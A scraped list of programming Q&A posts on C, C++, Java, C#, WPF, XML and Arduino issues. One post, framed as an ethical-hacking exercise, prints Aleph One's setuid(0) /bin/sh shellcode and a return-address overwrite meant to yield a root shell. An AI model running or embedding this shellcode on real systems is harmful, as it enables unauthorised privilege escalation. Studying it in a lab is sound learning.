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  • Should I release NSString before assigning a new value to it?

    - by Elliot Chen
    Hi, Please give me some suggestions about how to change a NSString variable. At my class, I set a member var: NSString *m_movieName; ... @property(nonatomic, retain) NSString *m_movieName; At viewDidLoad method, I assign a default name to this var: -(void)viewDidLoad{ NSString *s1 = [[NSString alloc] initWithFormat:@"Forrest Gump"]; self.m_movieName = s1; ... [s1 release]; [super viewDidLoad] } At some function, I want to give a new name to this var, so I did like: -(void)SomeFunc{ NSString *s2 = [[NSString alloc] initWithFormat:@"Brave Heart"]; //[self.movieName release]; // ??????? Should perform here? self.m_moiveName = s2; [s2 release]; } I know, NSString* var is just a pointer to an allocated memory block, and 'assign' operation will increment this memory block's using count. For my situation, should I release m_movieName before assigning a value to it? If I do not release it (via [self.movieName release]), when and where will the previous block be released? Thanks for your help very much!

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  • What header file is where the boost libray define its own primitive data type?

    - by ronghai
    Recently, I try to use the boost::spirit::qi binary endian parser to parse some binary data depends on the endianness of the Platform. There is a simple example, like following: Using declarations and variables: using boost::spirit::qi::little_word; using boost::spirit::qi::little_dword; using boost::spirit::qi::little_qword; boost::uint16_t us; boost::uint32_t ui; boost::uint64_t ul; Basic usage of the little endian binary parsers: test_parser_attr("\x01\x02", little_word, us); assert(us == 0x0201); test_parser_attr("\x01\x02\x03\x04", little_dword, ui); assert(ui == 0x04030201); test_parser_attr("\x01\x02\x03\x04\x05\x06\x07\x08", little_qword, ul); assert(ul == 0x0807060504030201LL); test_parser("\x01\x02", little_word(0x0201)); test_parser("\x01\x02\x03\x04", little_dword(0x04030201)); test_parser("\x01\x02\x03\x04\x05\x06\x07\x08", little_qword(0x0807060504030201LL)); It works very well. But my questions come, why do we need use some data types like boost::uint16_t, boost::uint32_t here? Can I use unsigned long or unsigned int here? And if I want to parse double or float data type, what boost data type should I use? And please tell me where is boost define the above these types? Thanks a lot.

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  • structure inside structure - c++ Error

    - by gamadeus
    First of all the error I am getting is of the type: Request for member 's' of struct1.struct1::struct2, which is of non class type '__u32' where: struct struct1 { struct x struct2; struct x struct3; struct x struct4; }; The usage is of the form: struct struct1 st1; st1.struct2.s = Value; Now my struct1 is: struct ip_mreq_source { struct in_addr imr_multiaddr; struct in_addr imr_sourceaddr; struct in_addr imr_interface; }; struct 'x' is in_addr Where: typedef uint32_t in_addr_t; struct in_addr { in_addr_t s_addr; }; element 's' is the element s_addr in in_addr. My detailed error coming out of g++ (GCC 4.4.3) from the Android based compiler: arm-linux-androideabi-g++ -MMD -MP -MF groupsock/GroupsockHelper.o.d.org -fpic -ffunction-sections -funwind-tables -fstack-protector -D__ARM_ARCH_5__ -D__ARM_ARCH_5T__ -D__ARM_ARCH_5E__ -D__ARM_ARCH_5TE__ -Wno-psabi -march=armv5te -mtune=xscale -msoft-float -fno-exceptions -fno-rtti -mthumb -Os -fomit-frame-pointer -fno-strict-aliasing -finline- limit=64 -Igroupsock/include -Igroupsock/../UsageEnvironment/include -Iandroid- ndk-r5b/sources/cxx-stl/system/include -Igroupsock -DANDROID -Wa,--noexecstack -DANDROID_NDK -Wall -fexceptions -O2 -DNDEBUG -g -Iandroid-8/arch-arm/usr/include -c groupsock/GroupsockHelper.cpp -o groupsock/GroupsockHelper.o && rm -f groupsock/GroupsockHelper.o.d && mv groupsock/GroupsockHelper.o.d.org groupsock/GroupsockHelper.o.d groupsock/GroupsockHelper.cpp: In function 'Boolean socketJoinGroupSSM(UsageEnvironment&, int, netAddressBits, netAddressBits)': groupsock/GroupsockHelper.cpp:427: error: request for member 's_addr' in 'imr.ip_mreq_source::imr_multiaddr', which is of non-class type '__u32' groupsock/GroupsockHelper.cpp:428: error: request for member 's_addr' in 'imr.ip_mreq_source::imr_sourceaddr', which is of non-class type '__u32' groupsock/GroupsockHelper.cpp:429: error: request for member 's_addr' in 'imr.ip_mreq_source::imr_interface', which is of non-class type '__u32' I am not sure what is causing the error. Any pointers would be great - no pun intended. Thanks

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  • Renaming TurboGears 2's Repoze Fields with TGAdmin

    - by William Chambers
    I've been working on renaming TurboGears 2's Repoze 'groups' field to 'roles' to free the namespace and db tables for other purposes. Also roles makes much more sense to me then groups because I have a strong Drupal background. Now I have found some of the docs to do this such as these: http://www.turbogears.org/2.1/docs/main/Auth/Customization.html#customizing-the-model-structure-assumed-by-the-quickstart http://code.gustavonarea.net/repoze.what-quickstart/#customizing-the-model-definition However these only go part of the way. I have made (I'm pretty sure at least, I've double checked a few times.) all the changes required as you can see in this diff. This seems to work fine however I've ran into a rather major issue with the TurboGears Admin system. I've tried http://turbogears.org/2.0/docs/main/Extensions/Admin/index.html and it didn't seem to make any difference, however I'm not 100% sure I did it correctly. The problem occurs when I attempt to go to localhost/admin/permissions/. It causes a Internal Server Error and outputs the following error. http://pastebin.com/YWMH3SiU This error does not happen on the Roles/Users pages and the permissions /edit/1 also works. I'm running kubuntu 10.04 with TG 2.1b2. (I'm running the beta mostly for easier mako support which is really important.) Any help would be very appreciated.

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  • getting boost::gregorian dates from a string

    - by Chris H
    I asked a related question yesterday http://stackoverflow.com/questions/2612343/basic-boost-date-time-input-format-question It worked great for posix_time ptime objects. I'm have trouble adapting it to get Gregorian date objects. try { stringstream ss; ss << dateNode->GetText(); using boost::local_time::local_time_input_facet; //using boost::gregorian; ss.imbue(locale(locale::classic(), new local_time_input_facet("%a, %d %b %Y "))); ss.exceptions(ios::failbit); ss>>dayTime; } catch (...) { cout<<"Failed to get a date..."<<endl; //cout<<e.what()<<endl; throw; } The dateNode-GetText() function returns a pointer to a string of the form Sat, 10 Apr 2010 19:30:00 The problem is I keep getting an exception. So concretely the question is, how do I go from const char * of the given format, to a boost::gregorian::date object? Thanks again.

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  • ASP.NET MVC View ReRenders Part of Itself

    - by Jason
    In all my years of .NET programming I have not run across a bug as weird as this one. I discovered the problem because some elements on the page were getting double-bound by jQuery. After some (ridiculous) debugging, I finally discovered that once the view is completely done rendering itself and all its children partial views, it goes back to an arbitrary yet consistent location and re-renders itself. I have been pulling my hair out about this for two days now and I simply cannot get it to render itself only once! For lack of any better debugging idea, I've painstakingly added logging tracers throughout the HTML just so I can pin down what may be causing this. For instance, this code ($log just logs to the console): ... <script type="text/javascript">var x = 0; $log('1');</script> <div id="new-ad-form"> <script type="text/javascript">x++;$log('1.5', x);</script> ... will yield ... <--- this happens before this snippet 1 1.5 1 ... 10 <--- bottom of my form, after snippet 1.5 2 <--- beginning of part that runs again! ... 9 <--- this happens after this snippet I've searched my codebase high and low, but there is NOTHING that says that it should re-render part of a page. I'm wondering if the jQueryUI has anything to do with it, as #new-ad-form is the container for a jQueryUI dialog box. If this is potentially the case, here's my init code for that: $('#new-ad-form').dialog({ autoOpen: false, modal: true, width: 470, title: 'Create A New Ad', position: ['center', 35], close: AdEditor.reset });

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  • Memory usage in Flash / Flex / AS3

    - by ggambett
    I'm having some trouble with memory management in a flash app. Memory usage grows quite a bit, and I've tracked it down to the way I load assets. I embed several raster images in a class Embedded, like this [Embed(source="/home/gabriel/text_hard.jpg")] public static var ASSET_text_hard_DOT_jpg : Class; I then instance the assets this way var pClass : Class = Embedded[sResource] as Class; return new pClass() as Bitmap; At this point, memory usage goes up, which is perfectly normal. However, nulling all the references to the object doesn't free the memory. Based on this behavior, looks like the flash player is creating an instance of the class the first time I request it, but never ever releases it - not without references, calling System.gc(), doing the double LocalConnection trick, or calling dispose() on the BitmapData objects. Of course, this is very undesirable - memory usage would grow until everything in the SWFs is instanced, regardless of whether I stopped using some asset long ago. Is my analysis correct? Can anything be done to fix this?

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  • Why do pure virtual base classes get direct access to static data members while derived instances do

    - by Shamster
    I've created a simple pair of classes. One is pure virtual with a static data member, and the other is derived from the base, as follows: #include <iostream> template <class T> class Base { public: Base (const T _member) { member = _member; } static T member; virtual void Print () const = 0; }; template <class T> T Base<T>::member; template <class T> void Base<T>::Print () const { std::cout << "Base: " << member << std::endl; } template <class T> class Derived : public Base<T> { public: Derived (const T _member) : Base<T>(_member) { } virtual void Print () const { std::cout << "Derived: " << this->member << std::endl; } }; I've found from this relationship that when I need access to the static data member in the base class, I can call it with direct access as if it were a regular, non-static class member. i.e. - the Base::Print() method does not require a this- modifier. However, the derived class does require the this-member indirect access syntax. I don't understand why this is. Both class methods are accessing the same static data, so why does the derived class need further specification? A simple call to test it is: int main () { Derived<double> dd (7.0); dd.Print(); return 0; } which prints the expected "Derived: 7"

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  • WPF - Why doesn't Microsoft supply a decent set of most-used controls ?

    - by IUsedToBeAPygmy
    I've been playing with WPF for some months now, and I quite like it. But one of the things I don't get is why MS doesn't put a little more effort in helping developers by supplying basic controls, and I need to get this off my chest :) For example, I figure most applications somewhere will need to let you edit some properties - for configuration or whatever. What would be the most used types in a proprety-grid editor ? text numbers (byte, float/double, int, etc) colors ....etc. So why isn't there even something as simple as a control to edit numbers ? Like a generic NumericUpDown control that allows you to type in numbers (no text, no pasting invalid input) or spin them up/down according to some given rules (decimal, floating point, min/maxvalue) ? Why isn't there a generic colorpicker, so people get the same user-experience in every application ? Why isn't there a standard implementation of a SearchTextBox, a BreadCrumb-control, or all these other standard control types users have gotten accustomed to the last 10 years ? (..but at least they DID have the time to implement a generic splashscreen - because everyone knows that greatly increases user-productivity....) The well-known ideal is always to give people the same user-experience over different applications. So even if some of those controls would be easy to make - it would be preferred to have one version over different applications. I see people all over the internet trying to do the same stuff over and over again. Okay, so MS started a WPF Toolkit project on Codeplex that tries to implement some controls, but only did so half-heartedly and is completely dead by now (last update of the roadmap dates back to Mar 21 2009). The result of this is that a lot of people starting a WPF-project end up spending a lot of time on trying to figure out how to create some generic controls and get really frustrated. Wasn't the mantra "Developers, developers, developers!" ..? /Rant

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  • I have this code .... Ethical Hacking

    - by kmitnick
    hello folks, I am following this EBook about Ethical Hacking, and I reached the Linux Exploit Chapter, this is the code with Aleph's 1 code. //shellcode.c char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { //main function int *ret; //ret pointer for manipulating saved return. ret = (int *)&ret + 2; //setret to point to the saved return //value on the stack. (*ret) = (int)shellcode; //change the saved return value to the //address of the shellcode, so it executes. } I give this the super user privileges, with chmod u+s shellcode as a super user, then go back to normal user with su - normal_user but when I run ./shellcode I should be a root user but instead I still be normal_user so any help?? btw I am working on BT4-Final, I turned off the ASLR, and running BT4 in VMWare...

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  • can't increment Glib::ustring::iterator (getting "invalid lvalue in increment" compiler error)

    - by davka
    in the following code: int utf8len(char* s, int len) { Glib::ustring::iterator p( string::iterator(s) ); Glib::ustring::iterator e ( string::iterator(s+len) ); int i=0; for (; p != e; p++) // ERROR HERE! i++; return i; } I get the compiler error on the for line, which is sometimes "invalid lvalue in increment", and sometimes "ISO C++ forbids incrementing a pointer of type etc... ". Yet, the follwing code: int utf8len(char* s) { Glib::ustring us(s); int i=0; for (Glib::ustring::iterator p = us.begin(); p != us.end(); p++) i++; return i; } compiles and works fine. according the Glib::ustring documentation and the include file, ustring iterator can be constructed from std::string iterator, and has operator++() defined. Weird? BONUS QUESTION :) Is there a difference in C++ between the 2 ways of defining a variable: classname ob1( initval ); classname ob1 = initval; I believed that they are synonymous; yet, if I change Glib::ustring::iterator p( string::iterator(s) ); to Glib::ustring::iterator p = string::iterator(s); I get a compiler error (gcc 4.1.2) conversion from ‘__gnu_cxx::__normal_iterator, std::allocator ’ to non-scalar type ‘Glib::ustring_Iterator<__gnu_cxx::__normal_iterator, std::allocator ’ requesed thanks a lot!

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  • C pointers and addresses

    - by yCalleecharan
    Hi, I always thought that *&p = p = &*p in C. I tried this code: #include <stdio.h> #include <stdlib.h> char a[] = "programming"; char *ap = &a[4]; int main(void) { printf("%x %x %x\n", ap, &*(ap), *&(ap)); /* line 13 */ printf("%x %x %x\n\n", ap+1, &*(ap+1), *&(ap+1)); /* line 14 */ } The first printf line (line 13) gives me the addresses: 40b0a8 40b0a8 40b0a8 which are the same as expected. But when I added the second printf line, Borland complains: "first.c": E2027 Must take address of a memory location in function main at line 14 I was expecting to get: 40b0a9 40b0a9 40b0a9. It seems that the expression *&(ap+1) on line 14 is the culprit here. I thought all three pointer expressions on line 14 are equivalent. Why am I thinking wrong? A second related question: The line char *ap = a; points to the first element of array a. I used char *ap = &a[4]; to point to the 5th element of array a. Is the expression char *ap = a; same as the expression char *ap = &a[0]; Is the last expression only more verbose than the previous one? Thanks a lot...

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  • java - coding errors causing endless loop

    - by Daniel Key
    Im attempting to write a program that takes a population's birthrate and deathrate and loops the annual population until it either reaches 0 or doubles. My problem it that it continuously loops an endless amount of illegible numbers and i cant fix it. please help. //***************************************** //This program displays loop statements //Written by: Daniel Kellogg //Last Edited: 9/28/12 //**************************************** import java.util.Scanner; public class Hwk6 { public static void main (String[] args) { int currentYear, currentPopulation; double birthRate, deathRate; Scanner stdin = new Scanner(System.in); System.out.println("\nPopulation Estimator\n"); System.out.println("Enter Year"); currentYear = stdin.nextInt(); System.out.println("Enter Current Population"); currentPopulation = stdin.nextInt(); System.out.println("Enter Birthrate of Population"); birthRate = stdin.nextDouble(); System.out.println("Enter Deathrate of Population"); deathRate = stdin.nextDouble(); int counter = currentPopulation; System.out.println("Population: "); while (currentPopulation != -1) while (counter < currentPopulation * 2) { System.out.print(counter + " "); counter = counter + (int)(counter * birthRate - counter * deathRate); } System.exit(0); } }

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  • Strangely structured xml code finding last value of a certain type using java

    - by Damien.Bell
    Thus the structure is something like this: OasisReportMessagePayloadRTOReport_ItemReport_Data Under report data it's broken into categories: >>Zone >>Type >>Value >>Interval What I need to do is: Get the value if the type is equal to 'myType' and the interval value is the LARGEST. So an example of the xml might be (under report_data): OasisReport MessagePayload RTO REPORT_ITEM REPORT_DATA <zone>myZone1</zone> -- This should be the same in all reports since I only get them for 1 zone <type>myType</type> --This can change from line to line <value>12345</value>--This changes every interval <Interval>122</Interval> -- This is essentially how many 5 minute intervals have taken place since the beginning of a day, finding the "max" lets me know it's the newest data. Thereby I want to find stuff of "MyType" for the "max" interval and pull the Value (into a string, or a double, if not I can convert from string. Can someone help me with this task? Thanks! Note: I've used Xpath to handle things like this in the past, but it seems outlandish for this... as it's SO complex (since not all the reports live in the same report_item, and not all the types are the same in each report)

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  • What's the equivalent of gcc's -mwindows option in cmake?

    - by Runner
    I'm following the tuto: http://zetcode.com/tutorials/gtktutorial/firstprograms/ It works but each time I double click on the executable,there is a console which I don't want it there. How do I get rid of that console? I tried this: add_executable(Cmd WIN32 cmd.c) But got this fatal error: MSVCRTD.lib(crtexew.obj) : error LNK2019: unresolved external symbol _WinMain@16 referenced in function ___tmainCRTStartup Cmd.exe : fatal error LNK1120: 1 unresolved externals While using gcc directly works: gcc -o Cmd cmd.c -mwindows .. I'm guessing it has something to do with the entry function: int main( int argc, char *argv[]),but why gcc works? How can I make it work with cmake? UPDATE Let me paste the source code here for convenience: #include <gtk/gtk.h> int main( int argc, char *argv[]) { GtkWidget *window; gtk_init(&argc, &argv); window = gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_widget_show(window); gtk_main(); return 0; } UPDATE2 Why gcc -mwindows works but add_executable(Cmd WIN32 cmd.c) not? Maybe that's not the equivalent for -mwindows in cmake?

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  • JTextField vs JComboBox behaviour in JTable

    - by Ash
    Okay, this is a hard one to explain but I'll try my best. I have a JTextField and a JComboBox in a JTable, whose getCellEditor method has been overriden as follows: public TableCellEditor getCellEditor( int row, int column ) { if ( column == 3 ) { // m_table is the JTable if ( m_table.getSelectedRowCount() == 1 ) { JComboBox choices = new JComboBox(); choices.setEditable( true ); choices.addItem( new String( "item 1" ) ); return new DefaultCellEditor( choices ); } return super.getCellEditor( row, column ); } Here are the behavioral differences (NOTE that from this point on, when I say JTextField or JComboBox, I mean the CELL in the JTable containing either component): When I click once on a JTextField, the cell is highlighted. Double clicking brings up the caret and I can input text. Whereas, with a JComboBox, single clicking brings up the caret to input text, as well as the combo drop down button. When I tab or use the arrow keys to navigate to a JTextField and then start typing, the characters I type automatically get entered into the cell. Whereas, when I navigate to a JComboBox the same way and then start typing, nothing happens apart from the combo drop down button appearing. None of the characters I type get entered unless I hit F2 first. So here's my question: What do I need to do have JComboBoxes behave exactly like JTextFields in the two instances described above? Please do not ask why I'm doing what I'm doing or suggest alternatives (it's the way it is and I need to do it this way) and yes, I've read the API for all components in question....the problem is, it's a swing API. Thanks in advance, Ash

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  • XML child node attribute value

    - by c0mrade
    I'm trying to read xml file, ex : <entry> <title>FEED TITLE</title> <id>5467sdad98787ad3149878sasda</id> <tempi type="application/xml"> <conento xmlns="http://mydomainname.com/xsd/radiofeed.xsd" madeIn="USA" /> </tempi> </entry> Here is the code I have so far : public void parseXML(String xml) { try { InputStream inputStream = new ByteArrayInputStream(xml.getBytes()); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document doc = db.parse(inputStream); doc.getDocumentElement().normalize(); System.out.println("Root element " + doc.getDocumentElement().getNodeName()); NodeList nodeLst = doc.getElementsByTagName("entry"); System.out.println("Information of all entries"); for (int s = 0; s < nodeLst.getLength(); s++) { Node fstNode = nodeLst.item(s); if (fstNode.getNodeType() == Node.ELEMENT_NODE) { Element fstElmnt = (Element) fstNode; NodeList title = fstElmnt.getElementsByTagName("title").item(0).getChildNodes(); System.out.println("Title : " + ((Node) title.item(0)).getNodeValue()); NodeList id = fstElmnt.getElementsByTagName("id").item(0).getChildNodes(); System.out.println("Id: " + ((Node) update.item(0)).getNodeValue()); NodeList contento= fstElmnt.getElementsByTagName("tempi").item(0).getChildNodes(); System.out.println("Contento : " + ((Node) content.item(0)).getFirstChild().getAttributes()); // with this line above I'm having problems, I get null pointer exception } } } catch (Exception e) { e.printStackTrace(); } } How can I read/get, contento tag attributes? I'm using org.w3c.dom lib.

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  • Strings exported from a module have changed line breaks

    - by Jesse Millikan
    In a DrScheme project, I'm using a MrEd editor-canvas% with text% and inserting a string from a literal in a Scheme file. This results in an extra blank line in the editor for each line of text I'm trying to insert. I've tracked this down to the apparent fact that string literals from outside modules are getting extra line breaks. Here's a full example. The editor is irrelevant at this point, but it displays the result. ; test-literals.ss (module test-literals scheme (provide (all-defined-out)) (define exported-string "From another module with some more line breaks. ")) ; editor-test.ss (module editor-test scheme (require mred "test-literals.ss") (define w (instantiate frame% ("Editor Test" #f) )) (define c (instantiate editor-canvas% (w) (line-count 12) (min-width 400))) (define editor (instantiate text% ())) (send c set-editor editor) (send w show #t) (send editor erase) (send editor insert "Some text with some line breaks. ") (send editor insert exported-string)) And the result in the editor is Some text with some line breaks. From another module with some more line breaks. I've traced in and figured out that it's changing Unix line breaks to Windows line breaks when strings are imported from another module, but these display as double line breaks. Why is this happening and is there a way to stop it other than changing every imported string?

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  • Pointers in C# to make int array?

    - by Joshua
    The following C++ program compiles and runs as expected: #include <stdio.h> int main(int argc, char* argv[]) { int* test = new int[10]; for (int i = 0; i < 10; i++) test[i] = i * 10; printf("%d \n", test[5]); // 50 printf("%d \n", 5[test]); // 50 return getchar(); } The closest C# simple example I could make for this question is: using System; class Program { unsafe static int Main(string[] args) { // error CS0029: Cannot implicitly convert type 'int[]' to 'int*' int* test = new int[10]; for (int i = 0; i < 10; i++) test[i] = i * 10; Console.WriteLine(test[5]); // 50 Console.WriteLine(5[test]); // Error return (int)Console.ReadKey().Key; } } So how do I make the pointer?

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  • Why do System.IO.Log SequenceNumbers have variable length?

    - by Doug McClean
    I'm trying to use the System.IO.Log features to build a recoverable transaction system. I understand it to be implemented on top of the Common Log File System. The usual ARIES approach to write-ahead logging involves persisting log record sequence numbers in places other than the log (for example, in the header of the database page modified by the logged action). Interestingly, the documentation for CLFS says that such sequence numbers are always 64-bit integers. Confusingly, however, the .Net wrapper around those SequenceNumbers can be constructed from a byte[] but not from a UInt64. It's value can also be read as a byte[], but not as a UInt64. Inspecting the implementation of SequenceNumber.GetBytes() reveals that it can in fact return arrays of either 8 or 16 bytes. This raises a few questions: Why do the .Net sequence numbers differ in size from the CLFS sequence numbers? Why are the .Net sequence numbers variable in length? Why would you need 128 bits to represent such a sequence number? It seems like you would truncate the log well before using up a 64-bit address space (16 exbibytes, or around 10^19 bytes, more if you address longer words)? If log sequence numbers are going to be represented as 128 bit integers, why not provide a way to serialize/deserialize them as pairs of UInt64s instead of rather-pointlessly incurring heap allocations for short-lived new byte[]s every time you need to write/read one? Alternatively, why bother making SequenceNumber a value type at all? It seems an odd tradeoff to double the storage overhead of log sequence numbers just so you can have an untruncated log longer than a million terabytes, so I feel like I'm missing something here, or maybe several things. I'd much appreciate it if someone in the know could set me straight.

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  • Set fields with instrospection - Problem with String.valueOf(String)

    - by fabb
    Hey there! I'm setting public fields of the Object 'this' via reflection. Both the field name and the value are given as String. I use several various field types: Boolean, Integer, Float, Double, an own enum, and a String. It works with all of them except with a String. The exception that gets thrown is that no method with the Signature String.valueOf(String) exists... Now I use a dirty instanceof workaround to detect if each field is a String and in that case just copy the value to the field. private void setField(String field, String value) throws Exception { Field wField = this.getClass().getField(field); if(wField.get(this) instanceof String){ //TODO dirrrrty hack //stupid workaround as java.lang.String.valueOf(java.lang.String) fails... wField.set(this, value); }else{ Method parseMethod = wField.getType().getMethod("valueOf", new Class[]{String.class}); wField.set(this, parseMethod.invoke(wField, value)); } } Any ideas how to avoid that workaround? Do you think java.lang.String should support the method valueOf(String)? thanks, fabb

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  • My java.util.Scanner won't work

    - by Kevin Steen Hansen
    Hello Stackoverflow my code is getting this error: Skriv din alder herunder og tryk enter: Exception in thread "main" java.util.NoSuchElementException at java.util.Scanner.throwFor(Scanner.java:907) at java.util.Scanner.next(Scanner.java:1530) at java.util.Scanner.nextInt(Scanner.java:2160) at java.util.Scanner.nextInt(Scanner.java:2119) at Tasteturindtastning.main(Tasteturindtastning.java:20) [Finished in 1.7s with exit code 1] Adn my code is: // Starter java som man plejer, læs i HejVerden.java public class Tasteturindtastning { public static void main(String[] arg) { /* Jeg skal nu angive en variable, men jeg kan ikke bestemme denne variable * Da jeg ønsker at indtastningen fra dette tastetur skal være variablen. * I stedet for int og double bruger jeg så java.util.Scanner, som aflæser * brugerens indtastninger. */ java.util.Scanner tastetur = new java.util.Scanner(System.in); // Printer en opgave/spørgsmål til brugeren System.out.println("Skriv din alder herunder og tryk enter:"); int alder; // Angiver et variablenavn alder = tastetur.nextInt(); // Angiver variablen med værdien fra indtastningen /* Herunder gør jeg brug af et if statement der tjekker værdien for * variablen alder, og ser om den er lig med eller højere end 18, og hvis * dette er tilfældet, så udprinter den en sætning */ if (alder >= 18) System.out.println("Du er myndig, da du er " + alder + " år gammel"); // Printes hvis han er 18 eller ældre } } Can snyone tell me what is wrong?

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  • Optional Member Objects

    - by David Relihan
    Okay, so you have a load of methods sprinkled around your systems main class. So you do the right thing and refactor by creating a new class and perform move method(s) into a new class. The new class has a single responsibility and all is right with the world again: class Feature { public: Feature(){}; void doSomething(); void doSomething1(); void doSomething2(); }; So now your original class has a member variable of type object: Feature _feature; Which you will call in the main class. Now if you do this many times, you will have many member-objects in your main class. Now these features may or not be required based on configuration so in a way it's costly having all these objects that may or not be needed. Can anyone suggest a way of improving this? At the moment I plan to test in the newly created class if the feature is enabled - so the when a call is made to method I will return if it is not enabled. I could have a pointer to the object and then only call new if feature is enabled - but this means I will have to test before I call a method on it which would be potentially dangerous and not very readable. Would having an auto_ptr to the object improve things: auto_ptr<Feature> feature; Or am I still paying the cost of object invokation even though the object may\or may not be required. BTW - I don't think this is premeature optimisation - I just want to consider the possibilites.

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  • Why I do not see a static variable in a loop?

    - by Roman
    I have a static method which sets a variable: static String[] playersNames; public static void setParameters(String[] players) { playersNames = players; } Then I have a static block: static { JRadioButton option; ButtonGroup group = new ButtonGroup(); // Wright a short explanation of what the user should do. partnerSelectionPanel.add(new JLabel("Pleas select a partner:")); // Generate radio-buttons corresponding to the options available to the player. // Bellow is the problematic line causing the null pointer exception: for (String playerName: playersNames) { final String pn = playerName; option = new JRadioButton(playerName, false); option.addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent evt) { partner = pn; } }); partnerSelectionPanel.add(option); group.add(option); } partnerSelectionPanel.add(label); // Add the "Submit" button to the end of the "form". JButton submitButton = new JButton("Submit"); submitButton.addActionListener(new ActionListener(){ @Override public void actionPerformed(ActionEvent evt) { partnerSelected(); } }); partnerSelectionPanel.add(submitButton); } Compiler does not complain about anything but when I try to execute the code I get problems. In this place SelectPartnerGUI.setParameters(players); I have: Exception in thread "main" java.lang.ExceptionInitializerError. and it is cause by java.lang.NullpointerException at this place for (String playerName: playersNames). Does my program do not see the palyersNames?

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  • Getting size of a specific byte array from an array of pointers to bytes

    - by Pat James
    In the following example c code, used in an Arduino project, I am looking for the ability to get the size of a specific byte array within an array of pointers to bytes, for example void setup() { Serial.begin(9600); // for debugging byte zero[] = {8, 169, 8, 128, 2,171,145,155,141,177,187,187,2,152,2,8,134,199}; byte one[] = {8, 179, 138, 138, 177 ,2,146, 8, 134, 8, 194,2,1,14,199,7, 145, 8,131, 8,158,8,187,187,191}; byte two[] = {29,7,1,8, 169, 8, 128, 2,171,145,155,141,177,187,187,2,152,2,8,134,199, 2, 2, 8, 179, 138, 138, 177 ,2,146, 8, 134, 8, 194,2,1,14,199,7, 145, 8,131, 8,158,8,187,187,191}; byte* numbers[3] = {zero, one, two }; function(numbers[1], sizeof(numbers[1])/sizeof(byte)); //doesn't work as desired, always passes 2 as the length function(numbers[1], 25); //this works } void loop() { } void function( byte arr[], int len ) { Serial.print("length: "); Serial.println(len); for (int i=0; i<len; i++){ Serial.print("array element "); Serial.print(i); Serial.print(" has value "); Serial.println((int)arr[i]); } } In this code, I understand that sizeof(numbers1)/sizeof(byte)) doesn't work because numbers1 is a pointer and not the byte array value. Is there a way in this example that I can, at runtime, get at the length of a specific (runtime-determined) byte array within an array of pointers to bytes? Understand that I am limited to developing in c (or assembly) for an Arduino environment. Also open to other suggestions rather than the array of pointers to bytes. The overall objective is to organize lists of bytes which can be retrieved, with length, at runtime.

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